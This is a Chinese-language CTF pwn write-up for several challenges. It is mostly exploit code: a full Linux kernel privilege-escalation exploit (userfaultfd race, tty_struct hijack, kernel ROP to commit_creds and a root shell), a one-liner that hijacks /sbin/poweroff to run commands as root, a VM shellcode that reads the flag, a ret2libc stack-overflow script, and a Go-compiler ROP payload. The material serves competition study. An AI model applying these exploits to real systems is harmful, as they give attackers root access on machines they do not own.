kno_puts

ls看一下发现/bin/和/sbin目录所有者为1000,就是我们现在用的这个用户,其权限为7,这里题目环境的权限设置有问题,导致我们可以随意修改/bin和/sbin目录下的东西

sbin目录为root权限下的指令,执行时带着root权限,

导致我们可以随意修改/bin和/sbin目录下的东西,这里注意到sbin下面有一个poweroff可执行文件,这个程序是在linux系统关闭时会被调用的。

由于远程docker环境几乎都是会以init.sh启动,是以root权限启动的,因此最后会以root权限去执行poweroff,则我们只要劫持poweroff程序即可在linux机器退出时以root权限执行任意命令。

即可构造payload

mv /sbin /SBIN && mkdir /sbin && echo "/bin/sh">/sbin/poweroff && chmod 777 /sbin/poweroff && exit



kno_puts revenge

notes leak + userfaultfd + tty_struct + rt_regs

利用notes leak泄露内核基地址,利用uffd机制大大提高条件竞争概率,劫持tty结构体到rt_regs上执行krop

EXP

// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);

size_t modprobe_path = 0xffffffff824493c0;
size_t heap_addr = 0;
size_t work_for_cpu_fn = 0xffffffff810bd960;
size_t init_creds = 0xffffffff82c6b920;
size_t commit_creds = 0xffffffff810ce710;
size_t fake_ops_addr = 0;
size_t orignal[0x30];
size_t leak, kernel_base;
size_t gadget = 0xffffffff817d1e76;
size_t pop_rdi;
size_t add_rsp_188_pop_rbx_ret;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a74;



void err_exit(char *msg){
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}
 
void info(char *msg){
    printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}
 
void hexx(char *msg, size_t value){
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
 
void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core){
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void _showAddr(char*name,size_t data){
    BLUE;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
 }

int fd;
char passwd[64]={0};
void add(){
    puts("[*] Begin add.");
    memset(passwd,0,64);
    passwd[32]=1;
    size_t* ptr=(size_t*)(passwd+32);
    ptr[0]=1;
    ptr[1]=passwd;
    int result = ioctl(fd, 0xFFF0, passwd);
    heap_addr=*(size_t*)passwd;
    showAddr(heap_addr);
}
int FILE_spary[20];
void del(){
    puts("[*] Begin delete");
    size_t* ptr=(size_t*)(passwd+32);
    ptr[1]=0;
    int result = ioctl(fd, 0xFFF1, passwd);
        if(result != -1){
            info("Delete success.");

        }
}


size_t payload[0x100];
int tty_fd;

size_t uffd_buf[0x200];
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){
    int uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
 
    uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
    if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");
 
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");
 
    uffdio_register.range.start = (unsigned long long)uffd_buf;
    uffdio_register.range.len = 0x1000;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");
 
    int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
    if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

void hijack_handler(void *args){
    int uffd = (int)args;
    struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;

    for (;;){
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        if (poll(&pollfd, 1, -1) == -1)
            err_exit("Failed to exec poll for leak_handler");

        int res = read(uffd, &msg, sizeof(msg));
        if (res == 0)
            err_exit("EOF on userfaultfd for leak_handler");
        if (res == -1)
            err_exit("ERROR on userfaultfd for leak_handler");
        if (msg.event != UFFD_EVENT_PAGEFAULT)
            err_exit("INCORRET EVENT in leak_handler");
        // operation
        info("hijack the kernel in userfaultfd -- hijack_handler");
        del();

        tty_fd = open("/dev/ptmx", O_RDWR);
        uffd_buf[0] = 0x100005401;
        uffd_buf[1] = 0;
        uffd_buf[2] = kernel_base + 0x13e8030 - 0x60;
        uffd_buf[3] = fake_ops_addr + 0x40;
        uffd_buf[4] = commit_creds;
        uffd_buf[5] = init_creds;
        uffd_buf[7] = add_rsp_188_pop_rbx_ret;
        hexx("uffd_buf[0]", uffd_buf[0]);
        hexx("uffd_buf[1]", uffd_buf[1]);
        hexx("uffd_buf[2]", uffd_buf[2]);
        hexx("uffd_buf[3]", uffd_buf[3]);
        hexx("uffd_buf[4]", uffd_buf[4]);
        hexx("uffd_buf[5]", uffd_buf[5]);
        
        uffdio_copy.src = uffd_buf;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
        uffdio_copy.len = 0x1000;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
    }
}

void get_root_shell(void){
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}
size_t get_root_func = (size_t)get_root_shell;

int main(int argc, char** argv, char** env)
{
    char data[0x200];

    bind_core(0);
    save_status();

    fd = open("/dev/ksctf",O_RDWR);
    if (fd < 0){
        err_exit("open device failed!");
    }

    int note_fd = open("/sys/kernel/notes", O_RDONLY);
    read(note_fd, data, 0x100);
    binary_dump("/sys/kernel/notes", data, 0x100);

    memcpy(&leak, &data[0x84], 8);
    hexx("leak", leak);
    kernel_base = leak - 0x19e1180;
    hexx("kernel_base", kernel_base);
    size_t kernel_offset = kernel_base - 0xffffffff81000000;
    hexx("kernel_offset", kernel_offset);

    modprobe_path += kernel_offset;
    hexx("modprobe_path", modprobe_path);

    
    work_for_cpu_fn  = kernel_base + 0x8c360;
    init_creds = kernel_base + 0x1448cc0;
    commit_creds = kernel_base + 0x97d00;
    swapgs_restore_regs_and_return_to_usermode += kernel_offset + 35;
    hexx("commit_creds", commit_creds);
    hexx("work_for_cpu_fn", work_for_cpu_fn);
    hexx("swapgs_restore_regs_and_return_to_usermode", swapgs_restore_regs_and_return_to_usermode);

    pop_rdi = kernel_base + 0xe031;
    add_rsp_188_pop_rbx_ret = kernel_base + 0x9369cc;
    hexx("add_rsp_188_pop_rbx_ret",add_rsp_188_pop_rbx_ret);

    add();
    fake_ops_addr = heap_addr - 0x68;
    hexx("fake_ops_addr", fake_ops_addr);

    pthread_t pwn;
    char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);

    orignal[0] = 0x100005401;
    orignal[1] = 0;
    orignal[2] = heap_addr - 0x2a5540;
    orignal[3] = kernel_base + 0x1073e00;
    orignal[4] = 0;
    orignal[5] = 0;
    orignal[6] = 0;

    write(fd,uffd_buf_hijack,0x40);

    __asm__(
        "mov r15,   pop_rdi;"
        "mov r14,   init_creds;"
        "mov r13,   commit_creds;"
        "mov r12,   swapgs_restore_regs_and_return_to_usermode;"
        "mov rbp,   0;"
        "mov rbx,   0;"
        "mov r11,   user_cs;"
        "mov r10,   user_rflags;"
        "mov r9,    user_sp;"
        "mov r8,    user_ss;"
        "xor rax,   16;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   0xfffffe0000010f58;"
        "mov rsi,   0xfffffe0000010f58;"
        "mov rdi,   tty_fd;"        
        "syscall"
    );

    hexx("UID", getuid());
    system("/bin/sh");
    puts("[+] EXP END.");
    return 0;
}

vmcode

看伪代码什么都看不出来,直接看汇编

可以看到在进行取opcode,找偏移执行的操作

具体操作为(opcode-0x21)*2+offset 算出取出偏移后,与rsp栈上地址相加,执行

逆出指令

opcode

地址

作用

备注

0x21

0x1274

call调用


0x22

0x1299

sub rsp,8;mov rsi,[rsp]


0x23

0x12a7

xor [rsp-0x10],[rsp-0x8];sub rsp,8


0x24

0x12c4

xchg [rsp-8],[rsp-0x18];


0x25

0x12e0

xchg [rsp-0x8],[rsp-0x10]


0x26

0x12fc

push 4字节;(rsp+8)


0x27

0x1319

只保留rsp-8低一个字节


0x28

0x132e

rsp-8


0x29

0x1332

[rsp-8]>>8


0x2a

0x1348

mov [rsp-8],[rsp+8];(rsp+8)


0x2b

0x135c

[rsp-8]<<8


0x2c

0x1372

if [rsp-8]==0,继续,否则跳跃0x138c(rsp-8),add rsi,2;

实现了jnz

0x2d

0x13a3

mov [rsp-0x10],([rsp-8]>>[rsp-0x10]);(rsp-8)


0x2e

0x13c0

mov [rsp-0x10],([rsp-8]<<[rsp-0x10]);(rsp-8)


0x2f

0x13dd

mov [rsp-0x10],([rsp-8] and [rsp-0x10]);(rsp-8)


0x30

0x13fa

mov rax,[rsp-0x8];mov rsi,[rsp-0x18];mov rdx,[rsp-0x20];mov rdi,[rsp-0x10],syscall还原进入时的rdi,rsi,(rsp-0x18);mov [rsp-0x8],rax


0x31

0x1425

push rsp


0x32

0x1439

push rip


0x33

0x1452

exit


exp

#!/usr/bin/env python3
#iamorange
#----------------------------------------------  
#main script begin:
start()

r()
push_4=0x26
push_rsp=0x31
syscall=0x30
#rax=2 rdi=["flag"] rsi=0 rdx=0
#rax=[rsp-8] rdi=[rsi-0x10] rsi=[rsp-0x18] rdx-[rsp-0x20]
payload = flat([push_4,b"flag",push_rsp,push_4,p32(0),push_4,p32(0),0x24,push_4,p32(2),syscall],word_size=8)
payload += flat([push_rsp,push_4,p32(0x10),0x23,push_4,p32(0x100),push_4,p32(0),0x24,push_4,p32(3),push_4,p32(0),syscall],word_size=8)
payload += flat([push_4,p32(0x100),push_rsp,push_4,p32(0xe8),0x23,push_4,p32(1),push_4,p32(1),syscall],word_size=8)
#rsp
#rdx 0x100
#rsi rsp
#rdi 3  rsp
#rax 0 
debug(0x13fa,"c")
s(payload)

ia()

factory

动态分配算法内存向下取整有误,导致出现了栈溢出

算法计算对应表如下

# 0x0:  []
# 0x10:  [0, 1, 2]
# 0x20:  [3, 4, 5, 6]
# 0x30:  [7, 8, 9, 10]
# 0x40:  [11, 12, 13, 14]
# 0x50:  [15, 16, 17, 18]
# 0x60:  [19, 20, 21, 22]
# 0x70:  [23, 24, 25, 26]
# 0x80:  [27, 28, 29, 30]
# 0x90:  [31, 32, 33, 34]
# 0xa0:  [35, 36, 37, 38]
# 0xb0:  [39, 40]

exp

#!/usr/bin/env python3
#iamorange
def fill(num):
    sa("= ",tb(num))
#----------------------------------------------  
#main script begin:
start()

r()
n=26
sl(tb(n))
pop_rdi=0x401563
for i in range(0xe):
    fill(1)

fill(17)
fill(pop_rdi)
fill(pop_rdi)
fill(pop_rdi)
fill(pop_rdi)
fill(elf.got['puts'])
fill(elf.plt['puts'])
fill(0x40148f)
fill(elf.got['puts'])

ru(b'\x0a')
puts_addr = u64(r(7)[:-1].ljust(8, b'\x00'))
lb=puts_addr-0x84420
binsh=lb+0x1b45bd
system=lb+0x52290
lg(lb)

r()
n=26
sl(tb(n))
pop_rdi=0x401563
for i in range(0xe):
    fill(1)

fill(17)
fill(pop_rdi)
fill(pop_rdi)
fill(pop_rdi)
fill(pop_rdi)
fill(binsh)
fill(0x4014f5)
fill(system)

debug(0x40148d)
fill(elf.got['puts'])

ia()

GoComplier

一个github的开源项目Go简易编译器,启动文件会先执行ugo编译器,编译hello.ugo文件,然后转成可执行文件

盲盒测试函数返回字符串到栈上变量时,再次修改会产生溢出,并且该题是静态编译,未开pie,则可计算偏移直接劫持栈打system("/bin/sh");

exp

package main
func shell() string{
    return "/bin/sh"
}

func pad() string {
    return "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}

func main() {
    var a string = pad()
    a ="aaaaaaaaaO\x1e@\x00\x00\x00\x00\x00\x10\x80I\x00\x00\x00\x00\x00\xbe\x9e@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeb\xecG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00g{D\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00VEA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    return 0
}